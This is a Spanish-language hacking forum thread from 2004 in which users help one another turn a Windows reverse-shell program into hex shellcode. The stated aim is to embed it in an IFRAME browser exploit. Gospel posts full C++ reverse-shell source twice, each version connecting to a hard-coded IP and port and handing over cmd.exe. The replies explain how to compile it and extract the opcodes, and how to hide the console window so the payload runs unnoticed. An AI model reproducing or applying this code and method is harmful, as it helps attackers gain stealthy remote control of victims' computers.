Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales
Autor
|
Tema: sobre Shellcodes (Leído 2,278 veces)
|
|
Gospel
|
Uhmm... tengo algunas dudas sobre Shellcodes q espero alguien sea tan amable de resolverme... 1) ¿Cómo convertir una shellcode de ASM a string hex? Es decir, quier convertir, por ejemplo, la siguiente shellcode en formato asm http://metasploit.org/sc/win32_reverse.asma formato \xe8\x30\x00 He estado buscando sobre esto y de lo poco q he encontrado interesante ha sido este link: http://www.hacker-word.net/foro/index.php?topic=442.new2) ¿Es posible convertir un código c++ a string hex? Lo digo pq he probado con algunas shellcodes "reverse shell" en formato string hex q al ser ejecutadas, abren una ventana de consola de cmd.exe en el equipo local mientras devuelven la reverse shell al equipo remoto. Pues bien, conozco una shellcode q es posible modificarla para q no muestre dicha ventana de consola al ser ejecutada. ¿Sería posible convertir este código a shellcode en formato string hex? El código, en c++, es el siguiente: #include <winsock2.h> #include <stdio.h>
int main(int argc, char *argv[]) { WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(4949); adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1"); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); //si.dwFlags = STARTF_USESTDHANDLES; si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;// si.wShowWindow = SW_HIDE;// si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); ExitProcess(0);
} Supongo q tendría q usar algún tipo de desensamblador tipo ollydbg, no? Bueno, a ver si alguien me echa un cable... Gracias Salu2
|
|
|
|
|
En línea
|
|
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
el tasm no lo compila pq es codigo para nasm. sobre como pasar a string la shellcode yo lo hago de esta forma (ejemplo):
principio del programa marco con labels el principio de la shellcode codigo de la shellcode marco con otro label el final
creo un archivo y escribo en el solo el codigo que esta entre las marcas. despues con otro leo ese archivo y creo toda la cadena \xEB tal y cual.
|
|
|
|
|
En línea
|
|
|
|
|
heap
|
Pues ahora mismo no tengo un windows a la mano, pero cuando trabajaba con viruses en windows, use una herramienta OMF Object File Dumper V2.00 para dumpear los objects, que me dompeaba los opocdes, ya luego solo es copiarlos asi \xOPCODE. Los Opcodes son representaciones de instrucciones del procesador. Asi lo que tienes que hacer en windows es con tasm(o cualquier compilador) compilas el codigo pero no lo linkees aun, asi al compilarlo tendras el codigo objeto y con esta herramienta lo dumpeas y obtienes los opcodes. Tambien supongo podrias hacerlo con debugger pero no se manejarlo, cuando me veas en msn pidemelo y te doy OMF. En linux es sencillo se puede usar gdb o objdump, el procedimiento es el mismo, compilar y dumpear el objeto para copiar los OPCODES, si quieres verlo mejor mira en este texto que hice ahi en la pagina 23 veras perfecto lo que hablo. http://coffeesec.webcindario.com/docs/virus_informaticos.pdf2) ¿Es posible convertir un código c++ a string hex? Obvio, cualquier lenguaje pasara a codigo objeto y luego de enlazarlo a codigo binario, asi todos los lenguajes pueden pasarse a opcodes incluso lenguajes como python que no se compilan, aunque lo de python ya da hueva hacerlo, pero en cuanto a c++ es sencillo solo compila y dumpea solo eso  .
|
|
|
|
|
En línea
|
|
|
|
villa
Desconectado
Mensajes: 27
|
Con linux, primero creas el archivo obeto a partir del codigo ensamblador :
nasm -f elf shellcode.asm
Despues, mediante la herramienta objdump pues ver el codigo :
objdump -d
Saludos
|
|
|
|
|
En línea
|
|
|
|
|
Gospel
|
Genial!!! Muchísimas gracias a los tres por contestar!! Sobre 1) Pues como ya dije, había encontrado una solución en el link de HxC q me permitió descargarme el nº 62 de Phrack. En concreto, me resultó muy útil el apartado p62-0x07_Advances_in_Windows_Shellcode. He utilizado nasm, en vez de tasm, como dice MrPotato. Me he descargado el AMS http://metasploit.org/sc/win32_reverse.asm y lo he compilado con nasm -f elf hdmreverse.asm y así obtengo el fichero hdmreverse.o (como dice villa). Creo q el formato elf me deja encontrar más fácilmente la shellcode, cuando abro el hdmreverse.o con un editor hexadecimal, q si utilizo el formato obj. Así pues, abro el fichero hdmreverse.o con el WinHex y obtengo los caracteres hex de la shellcode. (Ver foto adjunta). Lo único, q tengo q discriminar caracteres hex antes y después de la shellcode, aunq no resulta muy dificil de sacar. Discrimino por detrás de la shellcode, aquellos caracteres q pertenezcan a la línea ".The Netwide Assembler..." Por delante, discrimino toda esa ristra de caracteres 00 00 00, etc. Me equivoco?? Bueno, así es como obtengo la shellcode en string, tal y como aparece en http://metasploit.org/sc/win32_reverse.cGracias de nuevo, por ayudarme con esta duda! Salu2
|
|
|
|
|
En línea
|
|
|
|
|
Gospel
|
author=heap link=topic=48900.msg227453#msg227453 date=1101723867] 2) ¿Es posible convertir un código c++ a string hex? Obvio, cualquier lenguaje pasara a codigo objeto y luego de enlazarlo a codigo binario, asi todos los lenguajes pueden pasarse a opcodes incluso lenguajes como python que no se compilan, aunque lo de python ya da hueva hacerlo, pero en cuanto a c++ es sencillo solo compila y dumpea solo eso  . Sobre 2) Voy a probar esto ahora: Obtener el .obj compilando el código Reverse Shell de Adik .cpp con Visual C++ y con LCCWin32 y abrirlo con el WinHex a ver q me encuentro... Hasta ahora.
|
|
|
|
« Última modificación: 30 Noviembre 2004, 00:05 por Gospel »
|
En línea
|
|
|
|
villa
Desconectado
Mensajes: 27
|
Un comentario : en la ultima revista de hakin9 aparece un articulo bastante extenso y muy bien comentado sobre la creación de shellcodes en python. La revista es carilla pero bueno , estan muy bien documentadas y en castellano. Saludos P.d -  no me pagan los de hakin9 , pero al leer que en python es complicado y justo ahora mismo estaba leyendo y probando el articulo , he comentado esto. Y no es para nada complicado el concepto y crear una shellcode sencilla.
|
|
|
|
|
En línea
|
|
|
|
|
Gospel
|
Bueno, ya tengo el .obj obtenido al compilar el .cpp. Lcc-win32 daba problemas de compilación (no estoy seguro de q pueda compilar cpps) así q sólo tengo el .obj generado por la compilación del Visual C++. He abierto el .obj con el WinHex y me sale una ristra bastante grande de caracteres hex, asi q no tengo ni idea de cómo buscar la shellcode dentro de esa maraña... aunq he conseguido localizar algunas líneas del código cpp (ver foto adjunta). El archivo .cpp final es el siguiente: #include <winsock2.h> #include <stdio.h>
#pragma comment (lib,"ws2_32")
void main(int argc, char *argv[]) { WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(9999); adik_sin.sin_addr.s_addr = inet_addr("10.10.0.69"); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); //si.dwFlags = STARTF_USESTDHANDLES; si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;// si.wShowWindow = SW_HIDE;// si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); ExitProcess(0);
} Lo q quiero es obtener la shellcode para implementarla luego en un exploit  Algun comentario al respecto q me pueda guiar?? Muchas Gracias. Salu2 Pd: Le echaré un ojo a la revista Hakin9 mañana en el kiosko. Tengo ya un par de números y tienen mucha calidad!
|
|
|
|
|
En línea
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
He abierto el .obj con el WinHex y me sale una ristra bastante grande de caracteres hex, asi q no tengo ni idea de cómo buscar la shellcode dentro de esa maraña te digo como hacerlo en ejecutables, te pillas un editor pe y miras la sección d codigo el offset donde se encuentra la sección, despues con un editor hexadecimal goto y pones el desplazamiento que te sale en el editor pe y ya estas delante de la primera instrucion que se va a ejecutar.
|
|
|
|
|
En línea
|
|
|
|
villa
Desconectado
Mensajes: 27
|
El articulo esta mas o menos al final de la revista, son 18 caras hablando sobre shellcode en python , al final de articulo crean una shellcode parecida a la tuya , pero no hace reverse shell, pero supongo , aún no sabiendo python , se ve bastante legible y poner que en vez de que se quede a la escucha , que se conecte a una ip no debería ser muy complicado. En cuanto , lo que estas haciendo........... no sé , no lo he intentando nunca , pero yo creo que al compilarlo , el compilador aparte de meter muchisimo codigo por medio , muchas referencias serán solo para tu sistema. Es decir, si tu haces referencia a un string, el compilador lo mete en memoria en una direccion exacta, y puede ( seguramente..) para otra persona, el string esta en otra direccion al usar esa shellcode.Además, aunque no hicieras referencia a nada en concreto, tambien supogno que habría un monton de bytes nulos que luego habria que quitar. Igual estoy diciendo una borrada http://www.hackxcrack.com/phpBB2/viewtopic.php?t=19454&highlight=shellcode+linuxAqui hay una para linux y luego se habla de implementarla para windows. Saludos
|
|
|
|
|
En línea
|
|
|
|
|
Gospel
|
Bien, voy a probar con eso... gracias Mek. Pero antes de nada, casi se me olvida este detalle. Estoy con todo este rollo de la shellcode pq quiero cambiar la shellcode del exploit IFRAME por una "reverse shell" Shellcode. Bueno, el caso es q he conseguido cambiar con éxito la shellcode original por otras tres shellcodes: HDM's reverse shell Shellcode @ http://metasploit.org/sc/win32_reverse.cHDM's bind port Shellcode @ http://metasploit.org/sc/win32_bind.cBFI's reverse shell Shellcode @ http://bfi.freaknet.org/dev/fr/BFi12-dev-04-frY digo con éxito pq realmente funcionan, pero a la hora de ejecutarse muestran una ventana de consola con el título de CMD.EXE. Estoy bastante confuso por este comportamiento, ya q la shellcode del autor del exploit se ejecuta silenciosamente, sin mostrar ventana. Es por ello, q ahora estoy probando a convertir a Shellcode en string este código en C++ q, supuestamente, no muestra tal ventana de consola. Espero q, al final, después de todo el proceso hasta llegar a obtener la shellcode definitiva, esta se ejecute silenciosamente... sino, me va a dar un pasmo. -_-U Villa, la shellcode q implementan para Windows, es la misma q uso yo. La shellcode de Adik. Lo de q la shellcode sea portable a otros sistemas, ni idea... por eso intento aclarar todo lo q puedo mi situación. Por si alguien me dice q lo mio no va a funcionar, pues me ahorro tener q currarmelo todo... el proceso es algo tedioso. Gracias por contestar Salu2
|
|
|
|
|
En línea
|
|
|
|
loredo
Desconectado
Mensajes: 234
|
No estoy seguro pero si pones: nasm -f bin win32_reverse.asm -o win32_reverse.com, el fichero creado es justamente la shellcode y de esta manera no tienes que andar extrayendo la shellcode si haces el objeto del tipo -elf.. Mi duda ahora es como a partir del fichero con la shellcode en IA32 como puedo pasarlo a la tipica estructura de c tipo: char code[] = "\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa" ...; se me ha ocurrido la idea de hacer un programita que vaya leyendo cada dos caracteres y que añada un \x, pero me preguntaba si esto ya existe..
|
|
|
|
|
En línea
|
Los sabios buscan la sabiduría, los necios creen haberla encontrado...
|
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
respecto a lo de que te muestra una ventana de msdos, en la estructura STARTUPINFO tienes la opcion de no mostrar la ventana (wShowWindow)
|
|
|
|
|
En línea
|
|
|
|
|
|